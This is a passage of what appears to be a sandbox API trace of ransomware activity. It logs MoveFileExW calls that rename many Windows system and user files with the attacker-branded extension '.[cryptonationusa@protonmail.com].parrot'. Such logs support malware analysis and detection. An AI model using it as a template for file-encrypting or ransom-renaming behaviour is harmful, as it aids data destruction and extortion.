users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.001.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.040] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22649b8 | out: hHeap=0x5b0000) returned 1 [0104.040] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.040] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0104.052] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.002" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.002"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.002.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.002.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.053] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22649b8 | out: hHeap=0x5b0000) returned 1 [0104.053] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.053] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0104.057] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.000" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.000"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.000.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.000.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x638650 | out: hHeap=0x5b0000) returned 1 [0104.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0104.077] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.001" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.001"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.001.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.001.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x638650 | out: hHeap=0x5b0000) returned 1 [0104.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0104.088] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.002" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.002"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\CiST0000.002.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore\\cist0000.002.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x638650 | out: hHeap=0x5b0000) returned 1 [0104.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0104.168] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\windows.edb"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\windows.edb.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x687258 | out: hHeap=0x5b0000) returned 1 [0104.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0104.209] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\guest.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\guest.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x680698 | out: hHeap=0x5b0000) returned 1 [0104.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x221c088 | out: hHeap=0x5b0000) returned 1 [0104.213] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x680698 | out: hHeap=0x5b0000) returned 1 [0104.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x221c088 | out: hHeap=0x5b0000) returned 1 [0104.224] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\cversions.2.db"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\cversions.2.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\cversions.2.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x680848 | out: hHeap=0x5b0000) returned 1 [0104.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x221c088 | out: hHeap=0x5b0000) returned 1 [0104.229] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{11336D5B-7F61-4871-82E3-E0F59766823B}.2.ver0x0000000000000001.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{11336d5b-7f61-4871-82e3-e0f59766823b}.2.ver0x0000000000000001.db"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{11336D5B-7F61-4871-82E3-E0F59766823B}.2.ver0x0000000000000001.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{11336d5b-7f61-4871-82e3-e0f59766823b}.2.ver0x0000000000000001.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x638650 | out: hHeap=0x5b0000) returned 1 [0104.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a650 | out: hHeap=0x5b0000) returned 1 [0104.233] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{3978EA0A-1C7E-4449-8AE1-E1265F039002}.2.ver0x0000000000000003.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{3978ea0a-1c7e-4449-8ae1-e1265f039002}.2.ver0x0000000000000003.db"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{3978EA0A-1C7E-4449-8AE1-E1265F039002}.2.ver0x0000000000000003.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{3978ea0a-1c7e-4449-8ae1-e1265f039002}.2.ver0x0000000000000003.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x638650 | out: hHeap=0x5b0000) returned 1 [0104.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a650 | out: hHeap=0x5b0000) returned 1 [0104.237] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x638650 | out: hHeap=0x5b0000) returned 1 [0104.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0104.241] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{4E36EA69-73D1-4458-9D16-50F8E31A69A0}.2.ver0x0000000000000001.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{4e36ea69-73d1-4458-9d16-50f8e31a69a0}.2.ver0x0000000000000001.db"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{4E36EA69-73D1-4458-9D16-50F8E31A69A0}.2.ver0x0000000000000001.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{4e36ea69-73d1-4458-9d16-50f8e31a69a0}.2.ver0x0000000000000001.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.242] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x638650 | out: hHeap=0x5b0000) returned 1 [0104.242] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.242] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a650 | out: hHeap=0x5b0000) returned 1 [0104.245] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{4E4260A4-7E39-442E-BC22-7FF751D1C161}.2.ver0x0000000000000002.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{4e4260a4-7e39-442e-bc22-7ff751d1c161}.2.ver0x0000000000000002.db"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{4E4260A4-7E39-442E-BC22-7FF751D1C161}.2.ver0x0000000000000002.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{4e4260a4-7e39-442e-bc22-7ff751d1c161}.2.ver0x0000000000000002.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x638650 | out: hHeap=0x5b0000) returned 1 [0104.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0104.265] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000011.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000011.db"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000011.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000011.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.267] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x638650 | out: hHeap=0x5b0000) returned 1 [0104.267] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.267] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0104.291] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x638650 | out: hHeap=0x5b0000) returned 1 [0104.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0104.376] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.377] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x638650 | out: hHeap=0x5b0000) returned 1 [0104.377] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.377] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x23f0020 | out: hHeap=0x5b0000) returned 1 [0104.444] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-ntkl.etl" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-ntkl.etl"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-ntkl.etl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-ntkl.etl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.445] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6698e0 | out: hHeap=0x5b0000) returned 1 [0104.445] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.445] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0104.463] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-12.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-12.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267908 | out: hHeap=0x5b0000) returned 1 [0104.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x221c088 | out: hHeap=0x5b0000) returned 1 [0104.470] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-26.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-26.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-26.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-26.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267908 | out: hHeap=0x5b0000) returned 1 [0104.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x221c088 | out: hHeap=0x5b0000) returned 1 [0104.476] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-report-latest.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-report-latest.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267908 | out: hHeap=0x5b0000) returned 1 [0104.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x221c088 | out: hHeap=0x5b0000) returned 1 [0104.481] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-report.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-report.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6698e0 | out: hHeap=0x5b0000) returned 1 [0104.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x221c088 | out: hHeap=0x5b0000) returned 1 [0104.499] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-trace.etl" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-trace.etl"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-trace.etl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics\\energy-trace.etl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.500] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6698e0 | out: hHeap=0x5b0000) returned 1 [0104.500] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.501] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0104.572] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 01.wma"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 01.wma.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x680920 | out: hHeap=0x5b0000) returned 1 [0104.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0104.596] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 02.wma"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 02.wma.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x680920 | out: hHeap=0x5b0000) returned 1 [0104.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0104.623] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 03.wma"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 03.wma.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x680920 | out: hHeap=0x5b0000) returned 1 [0104.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a460 | out: hHeap=0x5b0000) returned 1 [0104.699] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 04.wma"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 04.wma.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x680920 | out: hHeap=0x5b0000) returned 1 [0104.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0104.715] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 05.wma"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 05.wma.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.716] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x680920 | out: hHeap=0x5b0000) returned 1 [0104.716] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.716] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a460 | out: hHeap=0x5b0000) returned 1 [0104.731] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 06.wma"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 06.wma.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.732] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x680920 | out: hHeap=0x5b0000) returned 1 [0104.732] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0104.732] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a460 | out: hHeap=0x5b0000) returned 1 [0104.758] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 07.wma"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones\\ringtone 07.wma.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0104.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x680920 | out: hHeap=0x5b0000) returned 1 [0104.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, 